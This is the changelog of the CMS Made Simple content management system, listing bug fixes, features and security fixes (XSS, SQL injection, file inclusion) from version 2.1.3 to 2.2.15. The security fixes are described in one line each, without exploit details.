Version 2.2.15 - Bonaventure
-------------------------------
Core - General
  - BR #12287 - Admin shortcuts popup refers to IRC.
  - BR #12292 - showbase parameter of metadata tag doesn't accept boolean value.
  - BR #12303 - No date displayed in the admin + category id not incremented.
  - BR #12305 - Removing actual Destination Page breaks Destination Page dropdown in Internal Page Link pages.
  - BR #12311 - log_performance_info - undefined variable: queries.
  - BR #12313 - 5 Stored XSS vulnerabilities in Settings - Content Manager.
  - BR #12317 - XSS on Settings News Module.
  - BR #12325 - Several XSS vulnerabilities.
  - BR #12335 - User pref admin homepage not properly displayed under certain conditions.
  - BR #12337 - GetContentBlockFieldInput $adding always false.
  - BR #12338 - Allow http/2 responses.
  - BR #12357 - Filepicker dropzone size issue.
  - FR #12345 - More user friendly admin session handling (partly implemented).
  - FR #12349 - Swap tabs on System Maintenance page.
  - Browsing to the main admin page in a new browser tab during a running session won't redirect to login form anymore.
  - (Error) messages in OneEleven won't dismiss on click.
  - Fix to Admin redirection after login on Windows platform.
  - Fix to the module API redirection to support arrays in parameters.

FileManager v1.6.12
  - Dropzone improvement like core FilePicker.

FilePicker v1.0.5
  - BR #11673 - FilePicker will not show svg images, when in the Content Manager.
  - BR #12312 - Stored XSS vulnerability in File Picker.

News v2.51.11
  - Minor code fix to encoding title content.
  - BR #12322 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - BR #12325 - Several XSS vulnerabilities.

Design Manager v1.1.9
  - Minor fixes for PHP warnings\notices.

Module Manager v2.1.8
  - BR #12291 - Reflected Cross site scripting.
  - BR #12324 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - Increased the Download Chunk Size field size to 4.

MicroTiny v2.2.5
  - BR #12351 - Escaping translation strings in tinymce_config.js.

Search v1.52
  - FR #11886 - Include module and modulerecord fields for content pages.

Phar Installer v1.3.13
  - Fixes to the reload button: now prevents browser's caching.
  - BR #11591 - fixed: Phar installer doesn't work with OPCache enabled.


Version 2.2.14 - T'Sou-ke
-------------------------------
Core - General
  - BR #12280 - Add Shortcut from Shortcuts modal broken.
  - Fixes to the class.CmsAdminThemeBase.php regarding main sections title and breadcrumbs generation.
  - Explicitly add function_exists and getimagesize functions to the allowed functions in PHP secure mode.
  - Improved Error Console template.
  - Site Prefs, remove submit confirmation.
  - System Maintenance, remove confirmation update page hierarchy positions and routes.
  - cms_http_request PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".
  - Backend users, fixed the bulk actions.
  - BR #12172 - CronJobTrait undefined constants.
  - BR #12227 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - BR #12272 - Internal page link - selecting destination page problem.

AdminSearch v1.0.5
  - Remove click thru warning.

CMSContentManager v1.1.9
  - Fix notices in edit content template.
  - Fix notice in default admin view.

DesignManager v1.1.8
  - BR #12225 - Reflected Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

FileManager v1.6.11
  - Don’t disable advanced mode on upgrade.
  - Fix adding double // in site root link.
  - BR #12215 - FileManager 1.6.10 crashes when trying to rename a file.
  - BR #12224 - Reflected Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

News v2.51.9
  - Minor code fix.
  - Alert on unapproved articles disabled by default. Enable at Settings >> Options tab.
  - BR #12207 - Can't display image in news when using upload field.
  - BR #12228 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

Phar Installer v1.3.9
  - PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".
  - PHP 7.4 fix "Function get_magic_quotes_runtime() is deprecated".

Search v1.51.8
  - PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".


Version 2.2.13 - Moosomin
-------------------------------
Core - General
   - Explicitly add a function or two to the allowed functions in PHP secure mode.

DesignManager v1.1.7
   - Fix a warning in PHP 7.3+.

FileManager v1.6.10
   - Fix minor XSS vulnerabilities in FileManager.

News v2.51.8
   - Fix a security issue in the default action with the idlist param.
   (This version was also separately released in the forge).


Version 2.2.12 - Osoyoos
-------------------------------
NOTICE: Due to the nature of the security issue fixed in FileManager after upgrading you should change your database password.

Core - General
  - Fix warning in cms_html_entity_decode.

FileManager v1.6.9.1
  - Security fixes for view action.


Version 2.2.11 - Vulcan
-------------------------------
Core - General
  - Fix minor bug in copying content objects.
  - Minor fix to array indexes when filling params in ContentBase.
  - Fix to the {cms_filepicker} plugin.
  - Minor fix to the 'my account' form.
  - Fix error in cmsms_filepicker.js encountered in LISE.
  - PHP 7.3 fix to DataDictionary::RenameColumnSQL.

CMSContentManager v1.1.8
  - Fix an issue with copying non-core content objects.
  - Minor fixes for php 7.3.

ModuleManager v2.1.7
  - Minor exception handling improvements.
  - Minor improvement to dependency detection with modules that do not exist in ModuleRepository.
  - Minor fixes for php 7.3.

News v2.51.6
  - Minor improvements for CMSMS v2.3 compatibility.

Phar Installer v1.3.8
  - Minor change to use include() instead of include_once()... not sure why.

FilePicker v1.0.4.1
  - Fix type error.

Search v1.51.7
  - Minor fixes for php 7.3.


Version 2.2.10 - Spuzzum
-------------------------------
Core - General
  - Fix minor potential authenticated object insertion vulnerability in changegroupperm.
  - Fix minor potential uncleaned input vulnerability in siteprefs.
  - Minor improvement to get_real_ip().
  - Fix to clearing cache in cms_filecache_driver.

News v2.51.5
  - Fix unauthenticated SQL injection vulnerability with the default action.

ModuleManager v2.1.6
  - Fix authenticated object insertion vulnerability in the installmodule action.
  - Improve ordering of the dependencies before installing or upgrading modules.
  - Adds more auditing, particularly in the cached request stuff.

FilePicker v1.0.4
  - Fix authenticated object insertion vulnerability.


Version 2.2.9.1
-------------------------------
Core - General
  - fix to the CmsLayoutStylesheetQuery class.
  - fix an edge case in the Database\Connection::DbTimeStamp() method.

MicroTiny v2.2.4
  - Minor fix in error displays.

Phar Installer v1.3.7
  - Fix to edge case in step 3 where memory_limit is set to -1.


Version 2.2.9 - Blow Me Down
-------------------------------
Core - General
  - PHP 7.2+ fixes.
  - Now do not call Module::InitializeAdmin() or Module::InitializeFrontend() if the module loading is being forced
    (as is the case sometimes within ModuleManager);
  - Minor changes and fixes to prevent warnings/notices in CLI based scripts.
  - Improvements to the {browser_lang} plugin.
  - Fixes a bug in the CmsLayoutTemplateQuery class.
  - Fixes a bug with the name= parameter in the {cms_stylesheet} plugin.
  - Fixes a minor issue in system information (smarty compilecheck).
  - Fixes a minor issue with the tabIndex and accesskey fields in edit content.
  - Fixes issue in the CmsLayoutStylesheet class related to associating designs with new stylesheets.
  - Now check for an english language file first in module_custom/xxxxx/lang before a file for the current language.
  - Prevent false-positive hit for "multiple_webshells_0018" rule webserver virusscanner (https://github.com/Yara-Rules/rules/blob/master/Webshells/WShell_THOR_Webshells.yar#L4764).
  - Fixes a bug in ContentOperations::LoadAllContent() if the content list had a custom content type from a module that was unvavailable.
  - Fixes a bug in the Database\Connection::DbTimeStamp().

Search v1.51.6
  - Minor fixes to help.

MicroTiny v2.2.3
  - More entropy in the mt_config.js filename to fix issues with js caching when switching users.
  - Fixes in the cms_linker plugin for when trying to change a link to a CMSMS page where the alias has changed.

FileManager v1.6.8
  - Fixes an upload issue.

ModuleManager v2.1.5
  - PHP 7.2+ fixes.

CMSContentManager v1.1.7
  - Fixes an issue with changing content type after copying a content page.

DesignManager v1.1.5
  - Fixes ownership issue on templates with importing a design.

Phar Installer v1.3.7
  - Minof fix to detect when PHP's memory limit is set to -1.


Version 2.2.8 - Flin Flon
----------------------------------
Core - General
  - Re-introduce the host_whitelist config entry that got lost in some commit somewhere.
  - Minor fix to pagination in Admin log.
  - Change Finnish locale priorities so that UTF-8 is first.
  - Minor fix to calling hooks with a single associative array parameter.
  - Adds new HookManager::do_hook_first_result() method.
  - cangegroupperms now calls HookManager::do_hook_first_result.
  - Minor enhancement to moduleoperations::_load_module() to check if the class exists.
  - Minor enhancement to {cms_action_url} wrt. the page to link to if not specified.
  - Deprecate CMSModule::SetParameterType and CMSModule::CreateParameter methods.
  - Deprecate ModuleOperations::GetModuleParameters() method.
  - CMSModule::RestrictUnknownParameters() now does nothing.
  - No longer warn if a module is sent a parameter that is not registered.
  Note: modules should now be cleaning parameters directly (see filter_var) from $_POST and $_REQUEST ($_GET is automatically cleaned).
  Note: In the future,  $params in module actions will only consist of parameters passed on the module tag.
  - PHP 7.2+ fixes.
  - Fix the inactive param in the page_attr plugin.

FilePicker v1.0.3
  - Minor fix to delete action.

Search v1.51.5
  - Now enforce utf-8 on preg_split.
  - Minor parameter check.
  - Removed deprecated each() function.

CMSJobManager v0.1.3
  - Notices fixed.
  - PHP 7.2+ fixes.

FileManager v1.6.7
  - Remove un-necessary files that may cause a security vulnerability.
  - prevent creating directories with leading or trailing whitespace in the name.

Module Manager v2.1.4
  - PHP 7.2+ fixes.

Navigator v1.0.9
  - Template fix simple_navigation.tpl. Output correct class for parent without active children.

News v2.51.4
  - Notices fixed.


Version 2.2.7 - Skookumchuck
----------------------------------
Core - General
  - Change internal CSRF variable name.
  - Fix object insertion bug via deserialize in LoginOperations.
  - Fix issue where login cookie contents could be forged by determining the hashing salt.
  - Refactor the mechanism for generating and verifying admin account password reset codes.

FileManager v1.6.6
  - No longer allow uploading files with names that end in .

FilePicker v1.0.2
  - No longer allow uploading files with names that end in .

Search v1.51.4
  - Minor fix to microtime calls.


Version 2.2.6 - Come by Chance
----------------------------------
Core - General
  - Fixes to AdminAlerts::load_by_name().
  - SetMessage() and SetError() in the module API now use session variables.
  - Remove support for module_error and module_action request parameters in admin module actions.
  - Add call to check_login() in admin actions that were missing them.

Search v1.51.3
  - Fix notice in PHP 7.1: A non well formed numeric value encountered...


Version 2.2.5 - Wawa
----------------------------------
Core - General
  - Fix minor security issue in the way login information was cached in cookies and the session.
  - Simplify rules around alias editing/generation in fillparams.
    If the alias field exists then we can adjust its value or recalculate an alias.
    Use basic properties, and ownership and permissions to determine if that field exists on the edit form.
  - Minor fixes to the CmsJobManager.


Version 2.2.4 - Little Paradise
----------------------------------
Core - General
  - Improvements to the Hook class.
  - Minor fix to usertagoperations.
  - Changes to the hierarchy selector to disallow circular references.
  - Fix problems with additional editors causing page aliases to be regenerated.
  - Minor fixes to Admin log browser.
  - Minor fixes to Admin login.
  - Add missing call Core::LoginPre hook.
  - Modify myaccount.php to call Core::EditUserPre hook BEFORE the password is set.
  - Fix documentation to CallUserTag.
  - Fix to default handling for content_image block.
  - Improve the help for the {page_attr} plugin.
  - Fix a potential warning in the {anchor} tag.
  - Fix boolean comparison in LoginOperations.

Installation Assistant v1.3.4
  - Fixes endless recursion issue with setting a tmpdir.
  - Fix issue with requiring a database prefix on upgrade.

FilePicker v1.0.2
  - Now allow specifying a 'useprefix' boolean parameter to the action url which will use the current top directory.
  - Add a prefix on all returned strings.
  - Slight modification to the profile class.
  - Now sends the FileManager::OnFileUploaded hook the same way as FileManager does.
  - Adds an exception handler around the change working directory stuff.

FileManager v1.6.5
  - Change upload action to call FileManager::OnFileUploaded hook before creating the thumbnail to allow a hook to rename the uploaded file.
  - Now enable creation of thumbnails on install.

MicroTiny v2.2.2
  - Minor fix for the filepicker if using a default filepicker profile that specifies a top directory.
  - Re-adds the table plugin (went missing when we upgraded tinymce).

ModuleManager v2.1.3
  - Adds audit line displaying status if cannot connect to ModuleRepository.

DesignManager v1.1.4
  - Fixes problems with the cancel button not marking the form as 'clean' (not dirty).


Version 2.2.3.1 - Happy Adventure
----------------------------------
Core - General
  - Fix an issue when parsing multiple content blocks.


Version 2.2.3 - Happy Adventure
----------------------------------
Core - General
  - Fixed a redirect loop problem on mixed HTTP/HTTPS sites when the secure flag was set on some pages.
  - Fixed a problem with prefilters and postfilters not working if placed in /assets/plugins.
  - Now use our own derivative of Smarty Internal Template so that we can send hooks, etc.
  - Improved error message if there was an error parsing the template (or a duplicate content block).
  - Fixes content blocks, image blocks, module blocks containing whitespace in the name.
  - Minor fix to {cms_filepicker} plugin.
  - Improve the CmsModuleInfo class such that if the module class file is newer it will be loaded.
  - Now generate the moduleinfo.ini file automatically on install or upgrade of a module.
  - Increase the maxlength attribute for password input boxes in myaccount.
  - Adds a StartsWith JavaScript shiv for IE11.
  - Revert the protocol-less URI for root_url (more changes coming for 2.3).
  - Get rid of the smart_url config option.
  - Fix a problem when testing for duplicate aliases of the form string-###  where the suffix integer was greater than 100.
  - More fixes to mact preprocessing if {content} was in the top of the template.
  - Minor fix to ExpandXMLPackage to not throw an exception in brief mode if module is not compatible with the current version of CMSMS.
  - adds new cms_entities_array function in misc to convert an array recursively to values.
  - Fixes transposed arguments in UserOperations::AddMemberGroup().
  - Better detection of duplicate content blocks.
  - Revert template_stack change to Smarty_CMS from 2.2.2.
  - Improvements to HookManager.

CmsJobManager v0.1.1
  - Optimization of audit logging.
  - Change connection timeout to 1 second.
  - Change processing to be a little more friendly to some environments wrt. content-size header.
  - Prevent processing from the CLI when root_url is calculated.

MicroTiny v2.2.1
  - Minor fix for filepicker plugin.

News v2.51.3
  - For security, no longer urldecode the detailtemplate parameter in detail view.
    This may have some implications for people that are specifying the detailtemplate parameter (with a template with special characters) from within a WYSIWYG (which is not recommended behavior).
  - Convert title and dropdown options and text fields to entities before display.

ModuleManager v2.1.2
  - Now sort modules in the installed tab a bit better.
  - Now handle module 'not available' a bit better.

FileManager v1.6.4
  - Add a different icon for navigating up one level.
  - No longer allow uploading any php (or derivative) file.
  - No longer allow renaming any file to have a .php extension (or a derivative).
  - Fixes an issue when improper/invalid values for root path and uploads path are manually specified in the config.php

FilePicker v1.0.1
  - No longer allow overriding the filepicker type on the URL.
  - No longer allow uploading any .php files.

CMSContentmanager v1.1.6
  - Now double check that the 'default parent' for new pages actually exists.

Navigator v1.0.8
  - Minor english documentation correction.

Installation Assistant v1.3.3
  - Now look for lib/include.php before include.php in step 8 and step 9 when connecting to CMSMS.
  - Fixes to upgrade routine for 2.1.5 wrt. the 'Manage Stylesheets' permission (ignore an exception).


Version 2.2.2 - Hearts Content
----------------------------------
Core - General
 - Additional security improvement in CMSModule::GetTemplateResource().
 - Now Smarty_CMS is no longer derived from SmartyBC (uses our own wrapper class) which prevents all occurrences of {php} tags from running.
 - Adds an admin directory .htaccess file to explicitly disable browser caching of any resources.
 - Fixes a relative path vulnerability in module_file_tpl resource.
 - Fixes a path building issue in CmsModuleInfo.
 - Fixes to parsing and generating moduleinfo.ini files.
 - Disallow any resource specifications with a * or a /.
     * This also means that no file resource specifications with path information will be permitted.
 - Move mact preprocessing to AFTER the template_top has been processed. So order of processing (for module actions on the frontend is)
     a:  template top
     b:  mact preprocessing (if enabled, which is the default)
     c:  template body
     d:  template head
 - Fix sureGetNodeByAlias to check if the input is numeric. If it is, assume that it is a page id, not an alias.
 - Fix alias generation in the ContentBase class to check if the input page title is numeric... If it is, prepend a character to it to ensure that integer casting will return 0.
 - Fix listtags to show tags using smarty_nocache_ function name prefix.
 - Improvements to the {form_start} plugin.
 - Fix silly, old issue in recursive_delete function.
 - Clean up more parameters from the content tag before passing to module action.
 - Fix local file inclusion vulnerability in listtags.
 - Now call get_userid() in debug_to_log instead of check_login()

AdminSearch v1.0.3
 - Now search the metadata field of content pages.
 - Fixes for single quotes in search results.

DesignManager v1.1.3
 - Set title attribute tags for edit/create template, stylesheet, design.
 - Remove debug statements.

MicroTiny v2.2
 - Upgrade tinymce to v4.6.x.
 - Adds new tabfocus and hr plugins.

News v2.51.2
 - Fixes so that all cancel buttons work properly on new News articles.

Navigator v1.0.7
 - Adds a silly __get() method to the NavigatorNode class squash some notifications in the error logs.

ModuleManager v2.1.1
 - Now handlle remote module installs upgrades, and activates via a 2 request process to allow new module versions to be read into memory.

Installation Assistant v1.3.2
 - Correction to assets warning

Search v1.51.2
 - Now do an html entity decode on all content added to AddWords.


Version 2.2.1 - Hearts Desire
----------------------------------
Core - General
 - Improve the Smarty plugin loading to handle non-cachable plugins in the /assets/plugins and /plugins directories.
 - Fixes to transaction functions in database abstraction library.
 - Fix CMSModule::GetTemplateResource to no longer accept eval or string resources.
 - Fix CMSSmartySecurityPolicy so that debug_to_log is no longer an allowed function.

   Many thanks to Daniel Le Gall from SCRT SA, Switzerland for reporting the vulnerabilities.

Installation Assistant v1.3.1
 - On upgrade to 2.2.1 move all files from /plugins to /assets/plugins (they should only be third party plugins at this point).
 - On upgrade chmod the config.php to 444.

MicroTiny v2.1.1
 - Fix temporary JS call URL.

News v2.51.1
 - Fix frontend pagination.


Version 2.2 - Canada
----------------------------------
Core - General
  - Automatically turn on file locking for cached files to attempt to mitigate race conditions.
    NOTE:  On systems using archaic filesystems such as FAT and FAT32 CMSMS may no longer operate.
  - cms_filecache_driver now caches for 2 hours by default and has an improved cooperative locking test
  - Implement new database abstraction library that is compatible with (functionality wise) but improves upon adodb-lite.
  - Implement protocol-less URL's in the config.
  - Page tabs are now focusable (you can tab through page tabs and use enter to select one).
  - Minor fix to the {form_start} plugin.
  - Minor change to the {admin_icon} plugin (default image class).
  - Cache more items that are queried from the database, to reduce mysql load.
  - Minor change to tree operations functionality to reduce memory usage.
  - Fixed problem with order of content blocks when using {content_module} stuff.
  - Adds get_usage_string and the concept of a type assistant to template types.
  - Minor change to auto-alias determination routine.
  - Detect module_custom enhancements in the CmsModuleInfo stuff.
  - Refactor Admin authentication.
  - More fixes to the cms_url class.
  - Optimize the include.php file.
  - Adds built-in asynchronous task processing system.
  - Adds the ability to reduce redundant mentions in the Admin log (runs asynchronously).
  - Refactor the Admin log page to allow for better filtering and pagination.
  - Admin log now uses cms_date_format and cleans output.
  - Notification functions in the CmsAdminThemeBase function are now just stubs and do nothing. Will be removed at a later date.
  - Removed the GetNotificationOutput() method from the module API.
  - Adds classes for creating Alerts. This is much more advanced than the old Notifications system.
  - Minor accessibility tweaks to the OneEleven theme.
  - Fix numerous minor problems with the OneEleven theme.
  - Refactored the OneEleven Admin theme to use new Alerts classes instead of old Notifications.
  - Refactor the OneEleven Admin theme to display an alert icon in the shortcut bar, instead of in the navigation area.
  - Fixed sidenav in the one OneEleven theme now works properly. If sidenav is larger than viewport then don't use fixed... easy.
  - In OneEleven Now revert to small sidebar navigation (still floating) if screen is too narrow.
  - Removed notification settings from MyAccount and Global Settings.
  - Removed pseudocron granularity preferences.
  - cms_alert() and the new cms_confirm() JavaScript functions now return promises.
  - Revises much code to use cms_alert and cms_confirm() instead of the standard, but browser specific functions.
  - Fixes to the cache clearing methodology.
  - No longer check for duplicate content blocks in templates... NEEDS TESTING
  - New core events: ContentPreRender, LostPassword, LostPasswordReset, StylesheetPostRender.
  - Fix problem with the default parameter to the {content} tag.
  - Fix problem with the use_smartycache thing in system information.
  - Fix notice in useroperations.
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.
  - Fixes minor notice in user operations.
  - Fixes for namespaced modules.
  - Fixes an issue in CmsLayoutTemplate when creating a template from a type.
  - Fixes an issue where a 404 handler error page would not be rendered correctly if for some reason the route did not specify a page id to load.
  - More fixes to cms_url class.
  - Numerous minor optimizations.
  - Add to content types the ability to set basic attributes for properties from within the page type definition.
  - Fixes problems with pagelink and link content types not being properly editable by additional editors.
  - Adds more type and content cleaning into the content types FillParams method(s).
  - Pass an explicit cacheid in to createtemplate in index.php.
  - Fix an error message in the autorefresh JavaScript class.
  - Fix problems that could result in uid=1 becoming inactive, and not a member of other groups when edited by another user.
  - Fix query problem in CmsLayoutStylesheetQuery with Mysql 5.7.
  - The {content} tag now supports passing data attributes to the generated textarea, for use by syntax highlighter and WYSIWYG modules. i.e: {content data-foo="bar"}.
  - Refactoring of the Admin login code to be cleaner, more efficient, more secure.
  - No longer allow any modules to auto-upgrade on frontend requests.
  - Fix problem with cms_filecache_driver::clear().
  - Introduces the new Hook mechanism to allow optimizing cms_stylesheet a bit further. All core SendEvent calls are now implemented as hooks.
  - changegroupperms can now localize permission names,  and add an info string for each permission. (the listpermissions hook).
  - Adds add_headtext(), get_headtext(),  add_footertext(), get_footertext() methods to the Admin theme class.
  - minor refactoring of admin/index.php, admin/header.php, admin/footer.php and admin/moduleinterface.php.
  - now use hooks so that loaded modules can now add text to the head area of any Admin page output.
  - Change the help for the basic attributes.
  - Adds new 'switch user' functionality for members of the Admin group.
  - Re-factor the content page selector ... now supports two modes (one for a simple list, and the previous dynamic one that is faster for large sites)
    the simple list mode is used for users with limited edit capabilities on pages.
  - Adds a new Smarty plugin {page_selector} to the Admin lib.
  - New arguments to the CreateHierarchyDropdown function (deprecated) and adjust documentation.
  - Content pages now have the ability to control whether or not the page wants any more children.
  - The TemplateType class now has a help callback to optionally allow retrieving help for templates of a particular type.
  - Permissions are now grouped logically by module/originator in ChangeGroupPermissions.
  - Now use HTTPS for the latest version check.
  - Adds the public_cache_url config entry,  and make sure that the css_url uses that by default.
  - Adds many core hooks.
  - Enhance the {page_image} plugin to optionally output a full HTML img tag if there is a value for the respective property.
  - Improve the {content_image} plugin to output nothing if there is no value for the property, and to output any non-internal arguments as attributes to the HTML img tag.
  - Upgrade to an un-modified version of smarty v3.1.31.
  - Move plugins directory to lib/plugins since we now have the assets/plugins directory for custom plugins.  Upgrading should preserve any custom plugins in the /plugins directory.
  - Add new plugins {thumbnail_url}, {file_url} and {cms_filepicker).
  - Add more intelligence to the tableoption handling for DataDictionary::CreateTableSQL.
  - Minor improvements to the asynchronous behaviour of the locking functionality.
  - #11295 - Cannot change the name of a UDT, always creates new UDT.
  - #11080 - Parameter $adding in GetContentBlockFieldInput always FALSE.
  - #11093 - Bad error message in jquery.cmsms_autorefresh.js.
  - #11133 - is_email() fails on domain check.
  - #11235 - munge_string_to_url leaves trailing dashes at the end of munged URL.
  - #11287 - Password reset form's password fields have different lengths.
  - Fix issue with module actions if 'content_en' block name was given on the default content block.
  - Better security when saving content pages.  Most primary fields are cast to their appropriate data type (int, bool, etc).  MenuText, and TitleAttribute can no longer contain html tags like <strong>foo</strong>.
  - Fixes issue with entities in redirecting links
  - The href/page argument to {cms_selflink} is now decoded before resolving to a page id.

Navigator v1.0.5
  - Minor optimizations.
  - Now use pageid in calculations of cacheid.
  - Now output template help to Navigator.

Installation Assistant v1.3
  - Only create dummy index.html files in subdirectories we created.
  - Clear cache after step 9.
  - Upgrade routine now asks for, and tests database credentials.
  - Upgrade routine now rewrites the config.php file (but keeps a backup).
  - Set a few more preferences to reasonable defaults on install. Specifically related to site cleanup and performance.
  - On installation, now insure that tmp/cache and tmp/templates_c directories are empty.
  - Now displays if files are going to be skipped.
  - Adds clear option for development purposes.
  - No longer ask to save database password.
  - On install now create the assets directory structure.
  - On upgrade (for 2.2) now create the assets directory structure and move tmp/configs, tmp/templates, module_custom, admin/custom, etc. within it.
  - When using the expanded installer allow changing the destination directory on step 1.
  - Check for existing files in the installation directory for new installations.
  - Added more notes to aide in diagnosing white screens
  - Modify package .zip files so that extracted files will usually have 644 permission (depends on the unzip routine used).

CmsJobManager
  - New core module to handle queued asynchronous tasks.

Content Manager
  - Minor tweak to bulk delete pages.
  - Minor fix to the active tab when changing a template or design.
  - Now listen to the 'default parent page' user preference.
  - Fix minor XSS problem in the Admin if some loser puts JavaScript into the title field or alias field or menu text field.
  - Now allow filtering pages by owner, editor, template, or design.  Only for Administrators with Modify any page, or Manage all content permissions.
  - Fix problems with auto-refresh being too fast for some operations.
  - Now auto scroll to the first matched page in a find.
  - Additional editors of a page cannot change the content type. Only owners, or users with the Manage all Content permissions.
  - Fix a problem with the call to GetTabElements.

DesignManager
  - Move the designs tab of the main interface into third position.
  - Implement sorting in edit design.
  - Remove option menus (for now) from templates, stylesheets, and designs tab.
  - Modify the template list functionality in edit-design to allow using keyboard control. Space or + to select an item on the left, and right arrow to move.
  - Modify the edit-design functionality to allow clicking on an attached template or stylesheet to edit it.
  - Generic templates now display a usage string.
  - When creating a new template, associate the new template with the default design.
  - Add reset buttons to the filter forms.
  - No longer check for default content block in a template.
  - Adds the ability to export a template to a file within the assets directory, and to import from the assets directory.
  - If a file exists in the assets/templates directory corresponding to a template name, do not allow in-browser editing.
  - Add bulk actions to allow importing and exporting multiple templates.
  - In the template list, if a file exists for a template... display it in the filename column.
  - Adds the ability to export a stylesheet to a file within the assets directory, and to import from the assets directory.
  - If a file exists in the assets/css directory corresponding to a stylesheet name, do not allow in-browser editing.
  - Add bulk actions to allow importing and exporting multiple stylesheets.
  - In the stylesheet list, if a file exists for a stylesheet display it in the filename column.

News v2.51
  - Minor fix to add category.
  - Removes GetNotificationOutput method.
  - Add a task that runs at least every 15 minutes to detect draft articles... create an alert for this.
  - Add an option to never create alerts about draft News articles.
  - Minor optimizations.
  - Adds postdate as parameters in events.
  - now output template help to Navigator.
  - Adds new 'linked file' type field that allows selecting a file using the filepicker.
  - Changes the default summary and detail templates to support the linked_file field type, and uses {thumbnail_url} and {file_url}.

FileManager v1.6.3
  - Move settings to it's own menu item under Site Admin.
  - Fix minor problem with moving a directory.
  - Minor fix to move file functionality.
  - Adds OnFileDeleted event.
  - Adds 'view raw file' icon in each viewable row.
  - Minor formatting changes in file list.
  - Now display clickable path entries for easier navigation.

Search
  - Convert to store all data using the InnoDB engine.
  - Use transactions for the addwords and deletewords stuff for performance.
  - Fix problem with query and record expiry.

AdminSearch v1.0.3
  - Fixes problem with use of 'Use Admin Search' permission.
  - Now searches for matching strings within templates and stylesheets that are stored as files.
  - Now listens to the HasSearchableContent metod when searching content pages.

ModuleManager
  - Now detect if module_custom directories exist and are populated and warn about this before upgrading a module.
  - Minor string changes.
  - Improvements to error handling in the new versions tab.
  - Write a confirmation form for uninstalling a module that displays the UninstallPreMessage or uses a default.
  - Now don't allow disabling / uninstalling myself.
  - Don't hide the upgrades tab when there are no upgrades, but show the number of upgrades in the tab title instead.
  - Now use HTTPS for requests to ModuleRepository.
  - Trigger a hook before exporting a module to XML.

MicroTiny v2.1
  - New version of the tinymce wysiwyg editor.
  - Adds a mailto plugin.
  - Now use the FilePicker module for a filepicker, required rewriting the cmsms_filepicker tinymce plugin.
  - Enable the title attribute on the image plugin.
  - Now uses PUBLIC_CACHE_LOCATION for cache files instead of hardcoding tmp/cache


Version 2.1.6 - Spanish Wells
----------------------------------
Core - General
  - Now attempt to detect if a template name passed into CmsModule::GetTemplateResource() is already a resource string.
  - endswith is now an accepted function in Smarty templates (fixes typo in security policy).
  - Fixes for CmsNlsOperations when using a language detector.
  - Fixes warnings in useroperations.
  - Fixes problem with cms_selflink dir='up' since 2013.
  - Modifies the OneEleven theme to set the meta referrer attribute for security purposes.
  - Modifies the functionality of the CSRF tokens to be more secure (only set the cookie in one location, only set the session variable from the cookie).
  - Increase Admin users list limit.
  - Reduce time limit for daily version check to 3 seconds.
  - cleanValues in Admin log and List Content.
  - Minor fix to the relative_time plugin.
  - Admin menu item URLs can now be built from the remaining members of the object, if not specified.
  - {content_image} and {content_module} now preserve order properly and support the priority attribute.

  - #11198 - Fixes problem with cms_selflink with aliases that starts with a numeric sign.

Content Manager v1.1.4
  - Fix bulk set-non-cachable functionality.
  - Fix a bug wrt content blocks and the adding flag.

Installation Assistant v1.0.4
  - Adds recommended check for ZipArchive.
  - Improves method of determining a temp directory.

ModuleManager v2.0.5
  - Improves functionality if ModuleRepository is not available.

News v2.50.6
  - Minor fix to editing news articles from the Admin interface.


Version 2.1.5 - High Rock
----------------------------------
Core - General
  - Fix fatal error if an extcss stylesheet was placed in the Admin theme.
  - Another minor fix to clearing cached files.
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.
  - Fixes minor notice in user operations.
  - Fixes for namespaced modules.
  - Fixes an issue in CmsLayoutTemplate when creating a template from a type.
  - Fixes an issue where a 404 handler error page would not be rendered correctly if for some reason the route did not specify a page id to load.
  - More fixes to cms_url class.
  - Improve the way page aliases are munged when they are supplied.
  - Improve the error generated when a page alias cannot be generated.
  - Minor fixes to the form_start plugin.
  - Minor fixes to generation of moduleinfo.ini.
  - Fix an error message in the autorefresh JavaScript class.
  - Fix problems that could result in uid=1 becoming inactive, and not a member of other groups when edited by another user.
  - Fix query problem in CmsLayoutStylesheetQuery with Mysql 5.7.

  - #11080 - Parameter $adding in GetContentBlockFieldInput always FALSE.
  - #11093 - Bad error message in jquery.cmsms_autorefresh.js.

Content Manager
  - Improve error handling in Edit Content.
  - Fix a problem with the call to GetTabElements.

Design Manager
  - Fix problem with resetting a template back to factory defaults, or creating a new template from factory defaults.

Module Manager
  - Improve the way modules with dependencies are installed and upgraded. (Got rid of the queue stuff).

AdminSearch
  - Use 'Manage Stylesheets' permission, not 'Modify Stylesheets' when searching stylesheets.

Phar Installer
  - Adds missing 'Manage Stylesheets' permission that would not be created on upgrade from 1.12.



Version 2.1.4 - Freetown
----------------------------------
Core - General
  - Fix to the clear_cached_file() method which should fix problems with module installation.
  - Minor tweak to distributed sample htaccess.txt file.

Phar Installer
  - Fixes issues with respect to hanging on step 7 when suhosin PHP addon was installed.
  - Minor PHP7 Fixes.

Module Manager
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.


Version 2.1.3 - Black Point
----------------------------------
Core - General
  - Security fix to prevent HTTP_HOST attacks. Many thanks to I-TRACING (www.i-tracing.com) for reporting it!!
  - Remove stub .htaccess files from subdirectories.
  - Update the included sample htaccess.txt file for security.
  - Fix for endless loop when calculating a page alias in utf-8 environments.
  - Fix for endless loop when calculating a page alias and a page name/title ended with -
  - Fixes a notice on the login page.
  - Optimize LoadContentFromId() to be typesafe, and use default page, if the id passed in is invalid.
  - Fix error condition if there were no default default design, or default page template.
  - Fix problem with system verification.

  - #10825 - Admin-account settings don't remember startpage if you set one
  - #10874 - When creating a page and the title has specific characters, CMSMS stops responding
  - #10910 - content and content_module order incorrect Admin page
  - #10911 - 'Use Admin Search' permission not being used in 2.1.2
  - #10921 - Content Field to Display in Name Column not used

